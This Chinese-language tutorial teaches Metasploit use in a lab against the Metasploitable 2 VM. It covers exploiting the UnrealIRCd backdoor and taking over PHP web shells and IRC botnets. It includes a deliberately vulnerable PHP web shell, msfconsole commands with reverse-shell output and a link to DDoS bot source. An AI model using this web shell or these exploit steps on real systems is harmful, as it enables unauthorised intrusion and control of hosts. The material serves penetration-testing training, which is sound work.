揭秘:黑客是如何利用Metasploit接管后門和僵尸網絡的?
2016-04-05 16:10:00 來源:來源:FreeBuf 評論:0 點擊:
51CTO首屆中國APP創新評選大賽正在招募>>
Metasploit Framework中有很多漏洞利用模塊,包括緩沖區溢出,瀏覽器漏洞利用,Web應用程序漏洞,后門利用,僵尸接管工具等。Exploit開發者以及對這個框架有貢獻的人已經分享了很多有趣并且有用的東西。
這篇文章中,我們將討論利用Metasploit來攻擊并接管常見的后門和僵尸網絡的話題。我們不會深入研究所有的模塊,但是會提到一些在未來滲透測試或者工作時會用到的模塊。我們不會開發Exploit,所以不需要你使用調試器和代碼編輯器。
如果你剛開始利用Msfconsole(框架的一個命令行接口)來使用Metasploit Framework,不必擔心,這里會一步一步地教你怎么使用漏洞利用模塊。這個教程只需要你做一件事,在你的攻擊機上安裝Metasploit,我建議你使用Kali Linux或者BackBox,這是滲透測試的發行版系統,已經預先安裝了Metasploit。
對于我們的目標機,我建議你把metasploitable 2安裝到喜歡的虛擬化平臺上,比如VMWare或者VirtualBox。Metasploitable 2是一個有漏洞的Ubuntun Linux虛擬機,你可以用它練習你的Metasploit使用技巧,因為它上面安裝了一些不安全的程序。
Metasploitable 2虛擬機配置安裝了包含有后門和公開漏洞的服務。
在6667端口上,Metasploitable 2上運行著有后門的UnreaIRCD IRC后臺程序,可以通過發送字母“AB”觸發,攻擊者能夠以運行ircd的用戶權限執行任意系統命令。這是一個非常好的用來練習的漏洞,我們試試看能不能彈出一個shell。很幸運,Metasploit已經有一個該漏洞的利用模塊,位于exploit/unix/irc/unreal_ircd_3281_backdoor下面。
輸入msfconsole打開Metasploit的命令行接口。輸入info exploit/unix/irc/unreal_ircd_3281_backdoor可以看到模塊的描述信息:“這個模塊利用漏洞攻擊一個附加有惡意后門的Unreal IRCD 3.2.8.1下載包。該后門位于2009年11月到2010年6月12日期間的Unreal3.2.8.1.tar.gz壓縮包中”
現在,是時候攻擊這個包含有后門的服務了!
哇哦,我們拿到了shell。想要獲取更多關于其它有后門的服務的信息,請查看Metasploitable 2 Exploitability Guide。
我們討論的不應該是常見的后門和僵尸網絡接管話題嗎?是的!我們才剛剛開始,剛才做了一個簡單而又簡短的介紹,如何利用MSF控制臺來攻擊UnreaIRCD IRC服務中的后門。
我們的目標是介紹一個新奇的玩意兒,Metasploit已經有了這一類模塊,這些模塊并不是在Web應用程序上遠程執行任意代碼,也不是在應用程序或服務上進行緩沖區溢出攻擊。
在下一個例子中,我們將會使用一個我寫的Simple Backdoor Shell Remote Code Execution模塊攻擊一個Web后門。這個模塊攻擊一個簡單的web后門,利用常見后門shell的有脆弱點的參數執行命令。
Daniel Miessler和Jason Haddix的OWASP安全列表工程里有很多這類后門shell的樣本,它們被分類編入到Payloads下面。
在我們探究Simple Backdoor Shell Remote Code Execution模塊之前,我們首先要在目標機器上創建一個后門shell。我建議你在Linux虛擬機上安裝一個Apache服務器,并編寫以下有漏洞的代碼:
- <?php
- if ( isset( $_GET[‘exec’] ) ) {
- if ( false === passthru( $_GET[‘exec’] ) )
- echo ‘So sad, this is an error – aurelius of Infosec Institute’;
- }
- ?>
我把這個代碼放在Ubuntun VM虛擬機的/var/www/html/msfdev/vulnerable.php路徑下,這樣我可以使用瀏覽器訪問http://localhost/msfdev/vulnerable.php,如下圖所示,利用這個漏洞代碼的POC就可以通過exec參數執行任意命令。
現在,我們使用Simple Backdoor Shell Remote Code Execution模塊。
正如你看到的執行show option命令之后的輸出信息,有一些必須的設置的選項(除RHOST,RPORT,以及其它普通選項外),通過設置METHOD指定HTTP方法,通過設置TARGETURI指定后門shell的路徑,以及通過設置VAR指定參數或者說命令變量。
假設我們的目標機的IP地址是192.168.150.136,我們需要把RHOST設置成這個地址,通過設置TARGETURI為/msfdev/vulnerable.php來定義我們的后門shell的位置。然后是VAR選項,我們可以設置為exec,這樣就可以執行任意命令。我們不需要設置HTTP方法,因為web應用程序允許GET方法,并且通過GET方法就可以進行漏洞利用。
- msf exploit(simple_backdoors_exec) > set rhost 192.168.150.136
- rhost => 192.168.150.136
- msf exploit(simple_backdoors_exec) > set var exec
- var => exec
- msf exploit(simple_backdoors_exec) > set TARGETURI /msfdev/vulnerable.php
- TAGETURI => /msfdev/vulnerable.php
- msf exploit(simple_backdoors_exec) >exploit
- [*] Started reverse double handler
- [*] Accepted the first client connection…
- [*] Accepted the second client connection…
- [*] Command: echo wE5lyQtBEHIWwFd4;
- [*] Writing to socket A
- [*] Writing to socket B
- [*] Reading from sockets…
- [*] Reading from socket A
- [*] A: “wE5lyQtBEHIWwFd4rn”
- [*] Matching…
- [*] B is input…
- [*] Command shell session 1 opened (192.168.150.129:4444 -> 192.168.150.136:49484) at 2016-02-22 09:24:57 -0500
成功彈出了第二個shell!好了,這就是利用這個模塊攻擊web shell的全過程。
以下是一些與這類模塊相關的其它漏洞利用模塊:
Th3 MMA mma.php Backdoor Arbitrary File Upload – 這個模塊攻擊Th3 MMA mma.php后門,可以上傳任意文件,這導致任意代碼執行。因為php_uname()函數,這個后門也回顯了Linux內核版本號或者操作系統版本號。
Zemra Botnet CnC Web Panel Remote Code Execution – 這個模塊攻擊CnC web panel of Zemra僵尸網絡,在其泄漏的源碼中包含了一個后門。Zemra是一個可以實施DDOS攻擊的惡意軟件,被Symantec發現并命名為Backdoor.Zemra。
China Chopper Caidao PHP Backdoor Code Execution – 這個模塊攻擊一個中國黑客廣泛使用的中國菜刀webshell。
Horde 3.3.12 Backdoor Arbitrary PHP Code Execution – 這個模塊攻擊一個包含有任意PHP代碼執行漏洞后門的Horde 3.3.12 and Horde Groupware 1.2.10。
OpenX Backdoor PHP Code Execution – 至少在2012年11月到2013年8月期間,penX Ad Server version 2.8.10上搭載了一個隱藏的后門。漏洞利用非常簡單,只需要發送一個含有rot13’d和回連載荷的單獨請求。
STUNSHELL Web Shell Remote PHP Code Execution – 這個模塊攻擊一個“STUNSHELL”Webshell的未證實版本。當Web服務器上開啟了安全模式時這個模塊有效。該shell被廣泛用在自動化RFI載荷中。
繼續,列表會越來越長。通過命令search backdoor你可以獲取更多的模塊。
我編寫和貢獻的另一類模塊是針對僵尸網絡接管的。一個好例子是w3tw0rk / Pitbul IRC Bot Remote Code Execution。這個模塊攻擊一個w3tw0rk僵尸網絡,把你的昵稱注冊或者偽裝成注冊僵尸網絡的IRC頻道的管理員或者看守人。
我想把這個作為一個挑戰給你,因此我不會解釋這些選項的含義以及如何攻擊這類僵尸網絡,而且已經有了一個這個漏洞利用的截屏。我想你已經通過前面的指令看到了設置Metasploit的模式。
這里是w3tw0rk / Pitbul IRC的源代碼腳本,它可以用來發動DDos(分布式拒絕服務)或者DoS(拒絕服務)攻擊:
https://github.com/shipcod3/IRC-Bot-Hunters/blob/master/malicious_samples/w3tw0rk.txt。你應該在你的虛擬機中運行它,確保它連上你自己的IRC服務器,這樣你的虛擬機就不會被其它的僵尸網絡看守者或惡意軟件十字軍所控制。
我編寫的大多數僵尸網絡漏洞利用模塊的靈感來源于PHP IRC Bot pbot eval() Remote Code Execution模塊,這是Metasploit中的第一個IRC僵尸網絡exploit。根據其描述,“這個模塊可以在PHP IRC bot pbot上遠程命令執行,因為在實現.php命令時對eval()函數的濫用。該模塊在Jay Turla分析的pbot版本上測試成功,發布在Infosec Institue,運行于Ubuntu 10.04和Windows XP SP3。”
我不對這個腳本造成的危害負責,但是請僅作為教學目的使用。
其它與僵尸網絡接管相關的漏洞利用模塊:
Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution – 這個模塊可以在xdh開發的IRC Bot上遠程命令執行。這個perl bot是Conor Patrick用他的shellshock蜜罐服務器捕獲的,Markus Zanke將其劃入到fBot (Fire & Forget – DDoS Bot)類別中。Matt Thayer發現這個腳本有一個LinuxNet perlbot的描述。這個bot只應答配置在perl腳本中的服務名和昵稱,因此,為了攻擊這個bot你需要能夠操作IRC網絡來欺騙它或者至少有和配置中相同的ip。
Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution – 這個模塊可以在PHP IRC bot Ra1NX 上遠程命令執行,通過使用私人信息中的public call特性來秘密繞過認證系統。
Legend Perl IRC Bot Remote Code Execution – 這個模塊可以在Legend Perl IRC Bot上遠程命令執行。2014年10月該bot被作為一個載荷用在Shellshock spam中。這個特殊的bot有一些功能,比如NMAP掃描, TCP, HTTP, SQL, and UDP洪泛攻擊,清除系統日志,獲取root權限,VNC掃描。Damballa的高級威脅研究專家Kevin Stevens把這個腳本上傳到VirusTotal上,其md5為11a9f1589472efa719827079c3d13f76。
Dexter (CasinoLoader) SQL Injection – 這個模塊攻擊一個在control Dexter上使用的命令和控制面板中發現的漏洞。漏洞利用通過訪問一個bots使用的PHP頁面(gateway.php)實現,這個頁面并沒有對輸入作防護。輸入被加密和編碼。命令和控制面板指定了一個上傳文件的位置,這可以作為寫入PHP shell的可靠位置。攻擊這個漏洞并不需要認證。
參考文獻:
https://community.rapid7.com/docs/DOC-1875
https://forums.unrealircd.org/viewtopic.php?t=6562
https://github.com/rapid7/metasploit-framework/
【編輯推薦】
相關熱詞搜索:Metasploit 僵尸網絡 后門
